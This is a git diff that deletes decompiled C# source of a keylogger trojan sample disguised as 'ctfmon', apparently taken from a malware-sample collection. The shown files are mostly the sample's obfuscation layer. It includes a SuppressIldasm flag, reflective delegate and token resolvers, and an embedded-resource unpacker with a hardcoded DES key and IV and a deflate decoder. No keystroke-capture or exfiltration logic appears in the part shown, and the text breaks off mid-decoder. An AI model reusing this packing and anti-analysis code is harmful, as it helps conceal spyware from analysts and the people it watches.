a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using SmartAssembly.Attributes; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -[assembly: AssemblyTitle("ctfmon")] -[assembly: AssemblyCopyright("© wadnhj218u9sfj")] -[assembly: PoweredBy("Powered by {smartassembly}")] -[assembly: Guid("000dc2f3-c5ff-0000-ac7f-1150bb0b5000")] -[assembly: AssemblyFileVersion("6.0.6.0")] -[assembly: AssemblyCompany("fawfaw Inc.")] -[assembly: AssemblyDescription("awd2 ffaf")] -[assembly: SuppressIldasm] -[assembly: AssemblyProduct("awokjowa 0waoo")] -[assembly: AssemblyVersion("6.0.1.0")] diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/PoweredByAttribute.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/PoweredByAttribute.cs deleted file mode 100644 index f6e4c095..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/PoweredByAttribute.cs +++ /dev/null @@ -1,17 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.PoweredByAttribute -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; - -namespace SmartAssembly.Attributes -{ - public sealed class PoweredByAttribute : Attribute - { - public PoweredByAttribute(string s) - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/Token20000A6.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/Token20000A6.cs deleted file mode 100644 index cafa7a28..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/SmartAssembly/Attributes/Token20000A6.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SmartAssembly.Attributes.Token20000A6 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace SmartAssembly.Attributes -{ - internal class Token20000A6 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.csproj b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.csproj deleted file mode 100644 index 4b3d0940..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.csproj +++ /dev/null @@ -1,193 +0,0 @@ - - - - - Debug - AnyCPU - {CF8926A6-D304-401E-947D-4BBB8963BACF} - WinExe - ctfmon - 6.0.1.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.sln b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.sln deleted file mode 100644 index af543d88..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/Trojan-Spy.MSIL.KeyLogger.bxxf.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ctfmon", "Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.csproj", "{CF8926A6-D304-401E-947D-4BBB8963BACF}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {CF8926A6-D304-401E-947D-4BBB8963BACF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {CF8926A6-D304-401E-947D-4BBB8963BACF}.Debug|Any CPU.Build.0 = Debug|Any CPU - {CF8926A6-D304-401E-947D-4BBB8963BACF}.Release|Any CPU.ActiveCfg = Release|Any CPU - {CF8926A6-D304-401E-947D-4BBB8963BACF}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/Token20000A3.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/Token20000A3.cs deleted file mode 100644 index 666f6702..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/Token20000A3.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token20000A3 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0001 -{ - internal class Token20000A3 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0001.cs deleted file mode 100644 index 9fe21e29..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0001.cs +++ /dev/null @@ -1,72 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Diagnostics; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace \u0001 -{ - internal sealed class \u0001 - { - private static \u0001.\u0001 \u0001; - private long \u0001 = DateTime.Now.Ticks; - - [DllImport("kernel32", EntryPoint = "SetProcessWorkingSetSize")] - private static extern int \u0002( - IntPtr process, - int minimumWorkingSetSize, - int maximumWorkingSetSize); - - private void \u0002() - { - try - { - using (Process currentProcess = Process.GetCurrentProcess()) - \u0001.\u0001.\u0002(currentProcess.Handle, -1, -1); - } - catch - { - } - } - - private void \u0002(object sender, EventArgs e) - { - try - { - long ticks = DateTime.Now.Ticks; - if (ticks - this.\u0001 <= 10000000L) - return; - this.\u0001 = ticks; - this.\u0002(); - } - catch - { - } - } - - private \u0001() - { - // ISSUE: method pointer - Application.Idle += new EventHandler((object) this, __methodptr(\u0002)); - this.\u0002(); - } - - public static void \u0003() - { - try - { - if (Environment.OSVersion.Platform != PlatformID.Win32NT) - return; - \u0001.\u0001.\u0001 = new \u0001.\u0001(); - } - catch - { - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0002.cs deleted file mode 100644 index 3b559fd5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0001 -{ - internal delegate string \u0002(int i); -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0003.cs deleted file mode 100644 index 16a9d441..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001/_0003.cs +++ /dev/null @@ -1,54 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0001; -using \u0003; -using System; -using System.Diagnostics; -using System.Reflection; -using System.Reflection.Emit; - -namespace \u0001 -{ - internal static class \u0003 - { - public static void \u0002() - { - Type declaringType = new StackTrace().GetFrame(1).GetMethod().DeclaringType; - foreach (FieldInfo field in declaringType.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField)) - { - try - { - if ((object) field.FieldType == (object) typeof (\u0002)) - { - DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, typeof (string), new Type[1] - { - typeof (int) - }, declaringType, true); - ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - foreach (MethodInfo method in typeof (\u0002).GetMethods(BindingFlags.Static | BindingFlags.Public)) - { - if ((object) method.ReturnType == (object) typeof (string)) - { - ilGenerator.Emit(OpCodes.Ldc_I4, field.MetadataToken & 16777215); - ilGenerator.Emit(OpCodes.Sub); - ilGenerator.Emit(OpCodes.Call, method); - break; - } - } - ilGenerator.Emit(OpCodes.Ret); - field.SetValue((object) null, (object) (\u0002) dynamicMethod.CreateDelegate(typeof (\u0002))); - break; - } - } - catch - { - } - } - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0002.cs deleted file mode 100644 index 4b1d3acc..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Windows.Forms; - -internal delegate Keys \u0001\u0002(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0003.cs deleted file mode 100644 index a32d777e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0001_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; - -internal delegate OperatingSystem \u0001\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/Token20000A4.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/Token20000A4.cs deleted file mode 100644 index c43c8d10..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/Token20000A4.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token20000A4 -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -namespace \u0002 -{ - internal class Token20000A4 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0001.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0001.cs deleted file mode 100644 index 1123914f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0001.cs +++ /dev/null @@ -1,184 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0002; -using System; -using System.Reflection; -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal static class \u0001 - { - private static ModuleHandle \u0001; - private static char[] \u0001 = new char[58] - { - '\u0001', - '\u0002', - '\u0003', - '\u0004', - '\u0005', - '\u0006', - '\a', - '\b', - '\u000E', - '\u000F', - '\u0010', - '\u0011', - '\u0012', - '\u0013', - '\u0014', - '\u0015', - '\u0016', - '\u0017', - '\u0018', - '\u0019', - '\u001A', - '\u001B', - '\u001C', - '\u001D', - '\u001E', - '\u001F', - '\u007F', - '\u0080', - '\u0081', - '\u0082', - '\u0083', - '\u0084', - '\u0086', - '\u0087', - '\u0088', - '\u0089', - '\u008A', - '\u008B', - '\u008C', - '\u008D', - '\u008E', - '\u008F', - '\u0090', - '\u0091', - '\u0092', - '\u0093', - '\u0094', - '\u0095', - '\u0096', - '\u0097', - '\u0098', - '\u0099', - '\u009A', - '\u009B', - '\u009C', - '\u009D', - '\u009E', - '\u009F' - }; - - public static void \u0002([In] int obj0) - { - Type typeFromHandle; - try - { - typeFromHandle = Type.GetTypeFromHandle(\u0001.\u0001.ResolveTypeHandle(33554433 + obj0)); - } - catch - { - return; - } - foreach (FieldInfo field in typeFromHandle.GetFields(BindingFlags.Static | BindingFlags.NonPublic | BindingFlags.GetField)) - { - string name = field.Name; - bool flag = false; - int num = 0; - for (int index1 = name.Length - 1; index1 >= 0; --index1) - { - char ch = name[index1]; - if (ch == '~') - { - flag = true; - break; - } - for (int index2 = 0; index2 < 58; ++index2) - { - if ((int) \u0001.\u0001[index2] == (int) ch) - { - num = num * 58 + index2; - break; - } - } - } - MethodInfo methodFromHandle; - try - { - methodFromHandle = (MethodInfo) MethodBase.GetMethodFromHandle(\u0001.\u0001.ResolveMethodHandle(num + 167772161)); - } - catch - { - continue; - } - Delegate @delegate; - if (methodFromHandle.IsStatic) - { - try - { - @delegate = Delegate.CreateDelegate(field.FieldType, methodFromHandle); - } - catch (Exception ex) - { - continue; - } - } - else - { - ParameterInfo[] parameters = methodFromHandle.GetParameters(); - int length = parameters.Length + 1; - Type[] parameterTypes = new Type[length]; - parameterTypes[0] = typeof (object); - for (int index = 1; index < length; ++index) - parameterTypes[index] = parameters[index - 1].ParameterType; - DynamicMethod dynamicMethod = new DynamicMethod(string.Empty, methodFromHandle.ReturnType, parameterTypes, typeFromHandle, true); - ILGenerator ilGenerator = dynamicMethod.GetILGenerator(); - ilGenerator.Emit(OpCodes.Ldarg_0); - if (length > 1) - ilGenerator.Emit(OpCodes.Ldarg_1); - if (length > 2) - ilGenerator.Emit(OpCodes.Ldarg_2); - if (length > 3) - ilGenerator.Emit(OpCodes.Ldarg_3); - if (length > 4) - { - for (int index = 4; index < length; ++index) - ilGenerator.Emit(OpCodes.Ldarg_S, index); - } - ilGenerator.Emit(flag ? OpCodes.Callvirt : OpCodes.Call, methodFromHandle); - ilGenerator.Emit(OpCodes.Ret); - try - { - @delegate = dynamicMethod.CreateDelegate(typeFromHandle); - } - catch - { - continue; - } - } - try - { - field.SetValue((object) null, (object) @delegate); - } - catch - { - } - } - } - - static \u0001() - { - if ((object) typeof (MulticastDelegate) == null) - return; - \u0001.\u0001 = Assembly.GetExecutingAssembly().GetModules()[0].ModuleHandle; - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0002.cs deleted file mode 100644 index 284f1a71..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0002.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - internal static \u0002.\u0002.\u0001 \u0001; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - } -} diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0003.cs deleted file mode 100644 index 0a690e78..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002/_0003.cs +++ /dev/null @@ -1,1013 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using \u0002; -using System; -using System.IO; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -namespace \u0002 -{ - internal sealed class \u0003 - { - public static byte[] \u0002([In] byte[] obj0) - { - \u0003.\u0007 obj1 = new \u0003.\u0007(obj0); - byte[] numArray1 = new byte[0]; - int num1 = obj1.\u0003(); - if (num1 == 67324752) - { - short num2 = (short) obj1.\u0002(); - int num3 = obj1.\u0002(); - int num4 = obj1.\u0002(); - if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) - throw new FormatException("Wrong Header Signature"); - obj1.\u0003(); - obj1.\u0003(); - obj1.\u0003(); - int length = obj1.\u0003(); - int count1 = obj1.\u0002(); - int count2 = obj1.\u0002(); - if (count1 > 0) - { - byte[] buffer = new byte[count1]; - obj1.Read(buffer, 0, count1); - } - if (count2 > 0) - { - byte[] buffer = new byte[count2]; - obj1.Read(buffer, 0, count2); - } - byte[] buffer1 = new byte[obj1.Length - obj1.Position]; - obj1.Read(buffer1, 0, buffer1.Length); - \u0003.\u0001 obj2 = new \u0003.\u0001(buffer1); - numArray1 = new byte[length]; - obj2.\u0002(numArray1, 0, numArray1.Length); - } - else - { - int num5 = num1 >> 24; - if (num1 - (num5 << 24) != 8223355) - throw new FormatException("Unknown Header"); - if (num5 == 1) - { - int length1 = obj1.\u0003(); - numArray1 = new byte[length1]; - int num6; - for (int index = 0; index < length1; index += num6) - { - int length2 = obj1.\u0003(); - num6 = obj1.\u0003(); - byte[] buffer = new byte[length2]; - obj1.Read(buffer, 0, buffer.Length); - new \u0003.\u0001(buffer).\u0002(numArray1, index, num6); - } - } - if (num5 == 2) - { - DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); - cryptoServiceProvider.Key = new byte[8] - { - (byte) 127, - (byte) 213, - (byte) 213, - (byte) 84, - (byte) 43, - (byte) 154, - (byte) 48, - (byte) 14 - }; - cryptoServiceProvider.IV = new byte[8] - { - (byte) 73, - (byte) 204, - (byte) 225, - (byte) 101, - (byte) 99, - (byte) 251, - byte.MaxValue, - (byte) 73 - }; - byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); - cryptoServiceProvider.Clear(); - numArray1 = \u0003.\u0002(numArray2); - } - } - obj1.Close(); - return numArray1; - } - - internal sealed class \u0001 - { - private static int[] \u0001 = new int[29] - { - 3, - 4, - 5, - 6, - 7, - 8, - 9, - 10, - 11, - 13, - 15, - 17, - 19, - 23, - 27, - 31, - 35, - 43, - 51, - 59, - 67, - 83, - 99, - 115, - 131, - 163, - 195, - 227, - 258 - }; - private static int[] \u0002 = new int[29] - { - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 1, - 1, - 1, - 1, - 2, - 2, - 2, - 2, - 3, - 3, - 3, - 3, - 4, - 4, - 4, - 4, - 5, - 5, - 5, - 5, - 0 - }; - private static int[] \u0003 = new int[30] - { - 1, - 2, - 3, - 4, - 5, - 7, - 9, - 13, - 17, - 25, - 33, - 49, - 65, - 97, - 129, - 193, - 257, - 385, - 513, - 769, - 1025, - 1537, - 2049, - 3073, - 4097, - 6145, - 8193, - 12289, - 16385, - 24577 - }; - private static int[] \u0004 = new int[30] - { - 0, - 0, - 0, - 0, - 1, - 1, - 2, - 2, - 3, - 3, - 4, - 4, - 5, - 5, - 6, - 6, - 7, - 7, - 8, - 8, - 9, - 9, - 10, - 10, - 11, - 11, - 12, - 12, - 13, - 13 - }; - private int \u0001; - private int \u0002; - private int \u0003; - private int \u0004; - private int \u0005; - private bool \u0001; - private \u0003.\u0002 \u0001; - private \u0003.\u0003 \u0001; - private \u0003.\u0005 \u0001; - private \u0003.\u0004 \u0001; - private \u0003.\u0004 \u0002; - - public \u0001([In] byte[] obj0) - { - this.\u0001 = new \u0003.\u0002(); - this.\u0001 = new \u0003.\u0003(); - this.\u0001 = 2; - this.\u0001.\u0002(obj0, 0, obj0.Length); - } - - private bool \u0002() - { - int num1 = this.\u0001.\u0002(); - while (num1 >= 258) - { - switch (this.\u0001) - { - case 7: - int num2; - while (((num2 = this.\u0001.\u0002(this.\u0001)) & -256) == 0) - { - this.\u0001.\u0002(num2); - if (--num1 < 258) - return true; - } - if (num2 < 257) - { - if (num2 < 0) - return false; - this.\u0002 = (\u0003.\u0004) null; - this.\u0001 = (\u0003.\u0004) null; - this.\u0001 = 2; - return true; - } - this.\u0003 = \u0003.\u0001.\u0001[num2 - 257]; - this.\u0002 = \u0003.\u0001.\u0002[num2 - 257]; - goto case 8; - case 8: - if (this.\u0002 > 0) - { - this.\u0001 = 8; - int num3 = this.\u0001.\u0002(this.\u0002); - if (num3 < 0) - return false; - this.\u0001.\u0002(this.\u0002); - this.\u0003 += num3; - } - this.\u0001 = 9; - goto case 9; - case 9: - int index = this.\u0002.\u0002(this.\u0001); - if (index < 0) - return false; - this.\u0004 = \u0003.\u0001.\u0003[index]; - this.\u0002 = \u0003.\u0001.\u0004[index]; - goto case 10; 